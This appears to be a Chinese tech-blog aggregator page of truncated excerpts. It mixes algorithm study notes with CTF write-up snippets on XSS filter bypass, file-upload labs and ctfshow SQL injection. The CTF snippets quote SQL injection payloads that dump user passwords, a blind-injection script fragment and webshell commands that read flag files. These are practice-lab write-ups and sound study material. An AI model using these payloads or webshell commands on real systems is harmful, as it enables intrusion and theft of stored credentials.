E-COM-NET
首页
在线工具
Layui镜像站
SUI文档
联系我们
推荐频道
Java
PHP
C++
C
C#
Python
Ruby
go语言
Scala
Servlet
Vue
MySQL
NoSQL
Redis
CSS
Oracle
SQL Server
DB2
HBase
Http
HTML5
Spring
Ajax
Jquery
JavaScript
Json
XML
NodeJs
mybatis
Hibernate
算法
设计模式
shell
数据结构
大数据
JS
消息中间件
正则表达式
Tomcat
SQL
Nginx
Shiro
Maven
Linux
ctfshow通关
xsschallenge
通关
攻略详解
xsschallenge通过攻略文章目录xsschallenge通过攻略第一关第二关第三关第四关第五关第六关第七关第八关第九关第十关第十一关第十二关第十三关简述xsschallenge挑战攻略ps:终极测试代码IPT>OonN'"\/(hrHRefEF)IPT>查看源代码CTRL+U第一关进入第一关是一个这样的界面没有输入框但是在url处存在参数传递将参数修改为测试代码CTRL+U查看源代码可以看
抠脚大汉在网络
·
2023-11-15 21:36
JAVAScript
xss
javascript
xss注入
渗透
web安全
python百题大
通关
解题记录-链表
目录009实现链表类挑战内容010删除链表的重复项挑战内容011寻找链表倒数第k+1个结点挑战内容013对链表值进行分区挑战内容014对链表值进行求和挑战内容挑战内容本文题目编译自DonneMartin的开源项目009实现链表类实现链表的插入,增加,查找,删除,查看长度和打印的方法。链表的介绍如下:链表是一种物理存储单元上非连续、非顺序的存储结构,数据元素的逻辑顺序是通过链表中的指针链接次序实现的
TOIR
·
2023-11-15 16:13
蓝桥云课python百题大冲关
链表
数据结构
文件上传漏洞upload-labs-master
关于这个靶场的
通关
秘籍网上有比我写的更好的,比如:upload-labs-master-文件上传靶场
通关
笔记我就不详细写了.文件上传是一个很常见的功能,比如上传图片,视频和其他类型的文件。
现代鲁滨逊
·
2023-11-15 14:28
网络安全
web
【算法
通关
村】位移的妙用
lc191位1的个数方式一:遍历每一位,判断是不是1,统计1出现的个数。用&和左移或右移判断。 publicinthammingWeight(intn){ intcnt=0; for(inti=0;i>i)&1; } returncnt; }⭐方式二:利用n&(n-1)可以将最后一个1变成0,统计1的个数。效率高。 publicinthammingWeight(in
Ruobeibei
·
2023-11-15 11:32
算法
算法
通关
村——位运算的高频考题
一、位1的个数我们要判断一个数的二进制中有多少个1,最简单的方式就是在循环中与1进行与运算之后判断是否为1,然后1>>=1;power--;}returnreversed;}三、位运算实现加法输入:a=1(01),b=2(10)输出:3(11)二进制运算有四种情况0+0=00+1=11+0=11+1=0(进位1)两个位加的时候,我们无非就考虑两个问题:进位部分是什么,不进位部分是什么。从上面的结果
丿古月
·
2023-11-15 11:02
算法
算法
通关
村——树的层次遍历
树的层次遍历1、层次遍历概念树的广度优先搜索又叫层次遍历,层次遍历就是从根节点开始,先访问根节点下面一层全部元素,再访问之后的层次,类似金字塔一样一层层访问。基本过程如下所示:每次一个节点出去的时候就把该节点的子节点存入,借助队列来存储会很方便。在上面的图中:首先1入队然后1出队,之后将1的左节点2和右节点3入队然后2出队,之后将2的左节点4和右节点5入队然后3出队,之后将3的左节点6和右节点7入
Molche
·
2023-11-15 11:31
树
数据结构
算法
通关
村——归并排序
归并排序1、归并排序原理归并排序是一种很经典的分治策略。归并排序(MERGE-SORT)简单来说就是将大的序列先视为若干小的数组,分成几个比较小的结构,然后是利用归并的思想实现的排序方法。将一个大的问题分解成一些小的问题分别求解,再将求解出来的各个答案合并d到一起。归并排序的过程如下图所示:可以看到,分阶段可以理解成递归拆分子序列的过程,治阶段就是将两个已经有序的子序列合并成一个有序序列的过程。遍
Molche
·
2023-11-15 11:31
排序算法
算法
排序算法
数据结构
算法
通关
村——位运算技巧
位运算技巧位运算的性质很多,假设以下出现的变量都是有符号整数。幂等律:a&a=a,a|a=a(异或不满足幂等律)交换律:a&b=b&a,a|b=b|a,a^b=b^a结合律:(a&b)&c=a&(b&c),(a|b)|c=a|(b|c),(a^b)^c=a^(b^c)分配律:(a&b)|c=(a|c)&(b|c),(a|b)&c=(a&c)|(b&c),(a^b)&c=(a&c)^(b&c)德摩根
Molche
·
2023-11-15 11:31
位运算
算法
算法
通关
村十一关:位运算高频算法题
位运算:高频算法题位移的妙用位1的个数LeetCode191https://leetcode.cn/problems/number-of-1-bits/方法1:思路分析32位二进制表示的整数,每一位进行判断,同时进行统计代码实现classSolution:defhammingWeight(self,n:int)->int:count=0foriinrange(32):ifn&(1int:count
ListenYin
·
2023-11-15 11:31
算法
jquery
前端
算法
通关
村——栈的经典算法问题解析
栈的经典算法问题1、括号匹配问题1.1、问题介绍本题出自LeetCode20:给定一个只包括‘(’,‘)’,‘{’,‘}’,‘[’,‘]’的字符串s,判断字符串是否有效。有效字符串需满足:左括号必须用相同类型的右括号闭合左括号必须以正确的顺序闭合示例:输入:s=“()[]{}”输出:true1.2、问题解答本题比较麻烦的地方是如何判断两个符号是不是一组的,我们可以用哈希表将所有符号先存储,左半边做
Molche
·
2023-11-15 11:01
栈
算法
java
数据结构
算法
通关
村第一关——链表青铜挑战笔记
1、链表的概念1.1单向链表链表(linkedlist)是一种在物理上非连续、非顺序的数据结构,由若干个节点node构成,每个节点node有指向下一节点的指针,从头节点开始,一个节点一个节点的连到最后一个节点,最后一个节点指向null,如下图所示:注意,next只能指向一个后继节点,如下图所示的这种情况就不属于单链表但是多个节点可以指向同一个节点,如下图所示:1.2双向链表双向链表比单向链表稍微复
Molche
·
2023-11-15 11:00
链表
算法
链表
笔记
算法
通关
村第一关——链表经典问题之寻找公共子节点笔记
链表之公共子节点问题1、问题描述本题是业界里一本经典的算法书《剑指offer》中的一道题,在原书中问题描述如下:2、题目样例回顾一下链表的定义,不难知道,本题要求的是找出下图中用方框框住的部分输入:listA=[4,6,8,1,2]、listB=[3,9,1,2]输出:firstCommonNode=1链表A中的node(8)和链表B中的node(9)共同指向了node(1),所以node(1)就
Molche
·
2023-11-15 11:00
链表
算法
链表
笔记
算法
通关
村第二关——终于学会链表反转了
手写链表反转1、问题背景反转链表是一个出现频率特别高的算法题,在各大高频题排名网站也长期占领前三,比如长期占据牛客网的top1。所以链表反转是学习链表的过程中最最重要的问题,没有之一。2、问题描述给你一个单链表的头节点head,请你反转链表,并且返回反转之后的链表。示例:输入:head=[1,2,3,4,5]输出:[5,4,3,2,1]3、解决方法3.1方法一:建立虚拟头结点辅助反转在链表插入元素
Molche
·
2023-11-15 11:00
链表
算法
链表
数据结构
算法
通关
村——位运算白银挑战
2.白银挑战——位运算的高频算法题1位移的妙用1.1位1的个数LeetCode191:编写一个函数,输入是一个无符号整数(以二进制串的形式),返回其二进制表达式中数字位数位1的个数classHammingWeight:defhammingWeight(self,n):count=0whilen!=0:n=n&(n-1)count+=1returncountif__name__=="__main__
小星星52
·
2023-11-15 11:30
算法
python
数据结构
算法
通关
村第十一关——位运算的高频算法题(白银)
算法
通关
村第十一关——位运算的高频算法题(白银)1位移的妙用1.1位`1`的个数解法1(easy)解法2(优化1)解法3(Integer.bitCount()源码)1.2比特位计数解法1(easy)解法
XiaoZhi-paperfly
·
2023-11-15 11:28
数据结构
算法
算法
java
数据结构
笔记
算法
通关
村 —— 位运算实现加减乘除
位运算实现加减乘除在计算机中,位运算的效率比单纯加减乘除的效率更高,因此在高性能软件的源码中大量应用。而且计算机里各种运算本质上都是位运算,所以也是高频考题,让我们一起学习下面几个问题。一位运算实现加法给你两个整数a和b,不使用运算符+和-,计算并返回两整数之和。示例:输入:a=1,b=2输出:3题目要求不使用+和-,所以我们就得使用位运算啦,两个二进制位相加有以下几种情况:[1]0+0=0[2]
Beyondevt
·
2023-11-15 11:27
算法
算法
通关
村第十一关——理解位运算的规则(青铜)
算法
通关
村第十一关——理解位运算的规则(青铜)1.数字在计算机中的表示2.位运算规则2.1与、或、异或和取反2.2位移运算2.3移位运算与乘除法的关系2.4位运算常用技巧1.数字在计算机中的表示原码是一个数的二进制表示形式
XiaoZhi-paperfly
·
2023-11-15 11:27
数据结构
算法
算法
笔记
java
数据结构
通关
基础算法 -- acwing
第一讲基础算法快排原理基于分治来做的确定分界点x:q[l],q[(l+r)/2],q[r],随机把整个区间,根据x,把整个数据分成两部分。两部分不一定相等,使得左边部分都=x递归得给左边排序,再递归得给右边排序区间调整的实现方法1.暴力解法a[],b[]扫描一下q[l]-q[r],ifq[i]x->a[];elsex->b[];a[]->q[],b[]->q[]2.优雅解法用两个指针,一个指针i指
Shibuya_Kanon
·
2023-11-15 11:57
算法
排序算法
c++
算法
通关
村--位移的加减乘除
在计算机中,位运算的效率比乘除效率更高,因此在高性能软件的源码中大量应用,并且计算机中各种运算本质上都是位运算。位运算实现加法LeetCode371:给你两个整数a和b,不使用运算符+和-,计算并返回两整数之和。示例1:输入:a=1,b=2输入:3示例2:输入:a=2,b=3输出:5思路:若a、b两个数不发生进位的情况就是a和b不同时为1,即a⊕b,当a、b发生进位时,即a和b两个数都为1时,发生
Levin、
·
2023-11-15 11:57
算法
数据结构
算法
通关
村——位运算之位移的妙用
位移的妙用1、位1的个数1.1、题目描述LeetCode191.编写一个函数,输入是一个无符号整数(以二进制串的形式),返回其二进制表达式中数字位为‘1’的个数。示例1:输入:00000000000000000000000000001011输出:3示例2:输入:00000000000000000100000000000000输出:11.2、问题分析与解答首先我们可以根据题目要求直接计算,题目给定的
Molche
·
2023-11-15 11:57
位运算
算法
iOS 审核之 Performance - 2.5.2 被拒 dlopen(), dlsym(), respondsToSelector:, performSelector
苦逼中…经历了大大小小四次提交审核,苹果大大终于放我
通关
了。哎,记录一下,给后面的兄弟一点帮助。探讨我把苹果审核发的通知截个图放在上面,出于
坤宇
·
2023-11-15 08:04
iOS
Performance
被拒
dlopen
dlsym
performSelector
ctfshow
SQL注入专题
哦对了,这篇文章还没写完,更新中...emmm又是好久没更新了...之后就在这里做个记录吧,有些新的思路可以做些分享web174看了一下,应该是有数字或者username=flag就不输出,主要是这个数字的限制有点烦,flag里面肯定是有数字的...网上的wp很多用的布尔盲注,不过我当时还是想直接注出来,还是有办法的。参考前面几道题,可以使用to_base64函数,对于一个字符而言,不管是数字还是
yink12138
·
2023-11-15 07:39
CTF修炼之路
sql
ctfshow
刷题日记sql注入篇
web171没有任何过滤那应该在这张表里面,直接用1'or'1'='1即可拿到表单的所有信息(也可以直接查询)web172添加了限制条件,上面的不能用了,还是单引号闭合,直接联合查询最终payload:-1'unionselect1,(selectpasswordfromctfshow_user2whereusername=flag);--+或者直接爆他所有的内容。-1'unionselect1,
Yan9.
·
2023-11-15 07:39
ctfshow
php
网络安全
web
apache
ctfshow
web入门 sql注入
无过滤注入web171查询语句$sql="selectusername,passwordfromuserwhereusername!='flag'andid='".$_GET['id']."'limit1;";单引号闭合,未做任何过滤payload:1'unionselect1,group_concat(table_name),3frominformation_schema.tableswhere
S1nJa
·
2023-11-15 07:08
WP
CTF
CTFshow
sql
前端
数据库
ctfshow
web 入门 sql注入
171、常规题型(需要把前面数字换为-1,注释用--+)查数据库payload=“-1’unionselect1,2,group_concat(table_name)frominformation_schema.tableswheretable_schema=database()--+”查列名payload="-1’unionselect1,2,group_concat(column_name)f
放空 123
·
2023-11-15 07:08
闯关
ctfshow
web入门 sql注入(持续更新)
文章目录web171web172web173web174web175web176web177web178web179web180-182web183web184web185-186web187web188web189web191web199-200web201web202web171第一题嘛,都是最基础的,单引号闭合,用联合查询注入即可。1'orderby3----1'unionselect1,2
Lum1n0us
·
2023-11-15 07:07
CTF
mysql
ctfshow
web入门 sql注入wp(未完)
目录web171题目源码解题思路Payloadweb172题目源码解题思路Payloadweb173题目源码解题思路Payloadweb174题目源码解题思路PayloadEXPweb175题目源码解题思路Payloadweb176题目源码解题思路Payloadweb177题目源码解题思路Payloadweb178题目源码解题思路Payloadweb179题目源码解题思路Payloadweb180
久而不念
·
2023-11-15 07:07
web安全
安全
CTFSHOW
web入门 sql注入 无过滤注入 web171-175
目录web171web172web173web174web175web171select查询语句//拼接sql语句查找指定ID用户$sql="selectusername,passwordfromuserwhereusername!='flag'andid='".$_GET['id']."'limit1;";尝试万能密码id=1'or'1'='1,进行查询,发现查询结果是数据库中全部内容,成功获得
起名字怎么这么难
·
2023-11-15 07:35
ctfshow-web入门
web安全
ctfshow
web入门 sql注入(超详解)201-250
web201查询语句//拼接sql语句查找指定ID用户$sql="selectid,username,passwordfromctfshow_userwhereusername!='flag'andid='".$_GET['id']."';";返回逻辑//对传入的参数进行了过滤functionwaf($str){//代码过于简单,不宜展示}需要学会:使用--user-agent指定agent--u
Yn8rt
·
2023-11-15 06:33
ctfshow
mysql
[
CTFSHOW
][WEB入门] SQL注入
web171参数类型字符型SQL语句SELECT注入方式回显注入查询语句//拼接sql语句查找指定ID用户$sql="selectid,username,passwordfromctfshow_userwhereusername!='flag'andid='".$_GET['id']."'limit1;";#确定回显列数-1'unionselectNULL,NULL,NULL--+#查询当前数据库
fallingskies22
·
2023-11-15 06:03
web安全
sql
数据库
ctfshow
-web入门-sql
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
ctfshow
-web入门-sql题目一、web171二、web172三、web173四、web174五、web175六、web176七、
林本
·
2023-11-15 06:03
sql
数据库
java
ctfshow
web入门174
题目给出了查询语句和返回逻辑先看查询语句$sql="selectusername,passwordfromctfshow_user4whereusername!='flag'andid='".$_GET['id']."'limit1;";这里能直接看出来是使用单引号进行绕过是一个字符型注入继续,查看返回逻辑if(!preg_match('/flag|[0-9]/i',json_encode($re
Jt2312
·
2023-11-15 06:31
数据库
sql
web安全
网络安全
python
ctfshow
学习记录-web入门(sql注入171-180)
目录web171web172web173web174web175web176web177web178web179web180web171解答:打开页面,提供了sql语句源码,是单引号闭合。这里可以用1'and'1'='1和1'and'1'='2测试一下闭合。1'and'1'='1正常显示,1'and'1'='2不正常显示。单引号完全闭合,且不过滤空格,and等。确定列数,同时确定可回显位置,经过测
九枕
·
2023-11-15 06:30
ctf-web
#
ctfshow-web
sql
学习
前端
ctfshow
web入门 sql注入做题记录
ctfshowweb入门sql注入前言,感谢y4师傅详尽的教程[
CTFSHOW
]SQL注入(WEB入门)_Y4tacker的博客-CSDN博客_ctfshowsql注入sql注入的产生:php中对数据库的操作非常简化
AshMOB
·
2023-11-15 06:29
ctfshow
web入门
sql
前端
数据库
ctfshow
sql入门174 175脚本
因为觉得脚本写的太烂了,二分法也迷迷糊糊的主要是python怎么学的那么烂!!再研究一下174布尔盲注这是不使用二分法的importrequestsurl='http://e9a1012f-6cb2-451d-9084-0d011dfcff89.challenge.ctf.show/api/v4.php'flag=''foriinrange(60):forjinrange(32,128):payl
木…
·
2023-11-15 06:55
sql
数据库
算法
通关
村——数组中第K大的数字
数组中第K大的数字1、题目描述LeetCode215.数组中的第K个最大元素。给定整数数组nums和整数k,请返回数组中第k个最大的元素。请注意,你需要找的是数组排序后的第k个最大的元素,而不是第k个不同的元素。示例1:输入:[3,2,1,5,6,4]和k=2输出:5示例2:输入:[3,2,3,1,2,4,5,5,6]和k=4输出:42、解题思路本题可以运用快速排序的思路,下图是快排中的一轮排序过
Molche
·
2023-11-15 06:49
排序算法
算法
排序算法
数据结构
ctfshow
-184 sql注入
已知条件:flag格式:
ctfshow
{这个字符开头。好多wp和官方视频没有解释为什么要使用$user_count=43,来做判断条件,基本不好的小白就很难受了。
yxlr_beta
·
2023-11-14 20:49
wzm的ctfshow的wp
sql
数据库
database
ctf php sql注入,
CTFshow
-WEB入门-SQL注入(下)(持续更新)
web227按照上一题的方法,发现查不出flag表了,把
ctfshow
_user表给爆了一下也没flag,然后写一句话马,蚁剑连上去还是找不到flag,人傻了。。。
itwebber
·
2023-11-14 20:46
ctf
php
sql注入
CTFshow
-WEB入门-SQL注入(上)
web171无任何过滤,直接注就完事了。'unionselect1,2,group_concat(password)fromctfshow_user---web172'unionselect1,group_concat(password)fromctfshow_user2--+web173'unionselect1,2,group_concat(password)fromctfshow_user3
bfengj
·
2023-11-14 20:44
SQL注入
python
php
sql
web
ctfshow
- sql注入(web入门)
目录web171web172web173web174web175WEB176web177web178web179web180web181—182(180也可以用)web183web184web171简单的注入//查表名payload="1'unionselect1,2,group_concat(table_name)frominformation_schema.tableswheretable_s
ZredamanJ
·
2023-11-14 20:43
SQL注入
ctfshow
sql
【CTF】
CTFshow
-SQL注入(持续更新)
【CTF】
CTFshow
-SQL注入(持续更新)就剩一年的大学时光了,最近也很迷茫,想找实习,又得考托福,又想提前开始毕设,假期前又要上学校安排的实训,马上还又有一门考试,事情一堆,但又感觉整天不知道自己应该做什么
Sunny-Dog
·
2023-11-14 20:12
web学习
CTF
练习靶场WP
sql
数据库
web安全
网络安全
ctfshow
-sql注入-超详解(172-200)
前言今天是2021/7/25,正式进入sql注入专题,目标:加强python的学习,达到通过写python脚本,加快注入速度的程度,掌握sql在php编程中的一系列查询语句。新手区可以看看Y4师傅以前记录的小笔记SQL注入之MySQL注入的学习笔记(一)SQL注入之MySQL注入学习笔记(二)2021-7-25web172、web173——hex()、to_base64()查询语句//拼接sql语
Yn8rt
·
2023-11-14 20:42
ctfshow
sql
php
CTFSHOW
-SQL注入-二
title:
CTFSHOW
-SQL注入(二)date:2021-09-2509:32:11tags:CTF-WEBCTFSHOW-SQL注入(二)这里是ctfshowsql注入的第二篇题目:214-250
k1he
·
2023-11-14 20:42
sql
python
CTFSHOW
-WEB入门-SQL注入
文章目录前言web171web172web173web174web175web176web177web178web179web180web181-182web183web184web185-186web187web188web189web190web191web192web183web184堆叠注入前言最近发现对sql注入的相关知识点有点生疏和忘记了,做做ctfhshow的sql注入来巩固和学习一
天问_Herbert555
·
2023-11-14 20:41
#
各平台题目
ctfshow
web-2(sql注入)
原题:ctf.show因为本人也是刚学sql注入,所以会尽可能的写的详细一点-------------------------------------------------1.判断是否可以进行sql注入关于进行sql注入的方法有三种。第一种:整型注入,单引号字符型注入,双引号字符型注入。我们首先使用万能账密的方式来一个一个试属于那种注入。关于万能账密,不是一个真实的账密,而是给出一个100%正确
花名咖啡
·
2023-11-14 20:39
学习
sql
数据库
CTFSHOW
文件上传
web151JS前端绕过直接上传png的图片马然后抓包修改为phpa=system("ls/var/www/html");a=system("cat/var/www/html/flag.php");web152和151一样的方法也可以实现上传a=system("ls/var/www/html");a=system("cat/var/www/html/flag.php");web153.user.i
双层小牛堡
·
2023-11-14 20:37
android
CTFshow
-sql注入---弱类型转换
//拼接sql语句查找指定ID用户$sql="selectpassfromctfshow_userwhereusername={$username}";//返回逻辑//用户名检测if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i',$username)){$ret['msg']='用
Flowers_beicheng
·
2023-11-14 20:37
CTF
ctfshow
---sql注入(214-253)
目录web214web215web216web217web218web219web220web221web222web223web224web225web226web227web228-229-230web231web232web233-234web235-236web237web238web239web240web241web242web243web244web245web246web247we
T6...
·
2023-11-14 20:35
CTF
安全
WEB ----
ctfshow
----- SQL注入
web171看题目$sql="selectusername,passwordfromuserwhereusername!='flag'andid='".$_GET['id']."'limit1;";//拼接sql语句查找指定ID用户我们能够控制的只有id的值,经分析,条件为username不为flag。可是只有用户名为flag才能输出正确的flag。第一步先判断是否有注入点。观察到存在单引号,所以
@See you later
·
2023-11-14 20:04
web
0-1
sql
前端
数据库
ctfshow
---sql注入(171-213)
目录web171web172web173web174web175web176web177web178-179web180-182web183web184web185-186web187web188web189web190web191web192web193web194web195web196web197web198web199-200web201web202web203web204web205we
T6...
·
2023-11-14 20:04
CTF
安全
数据库
上一页
20
21
22
23
24
25
26
27
下一页
按字母分类:
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
其他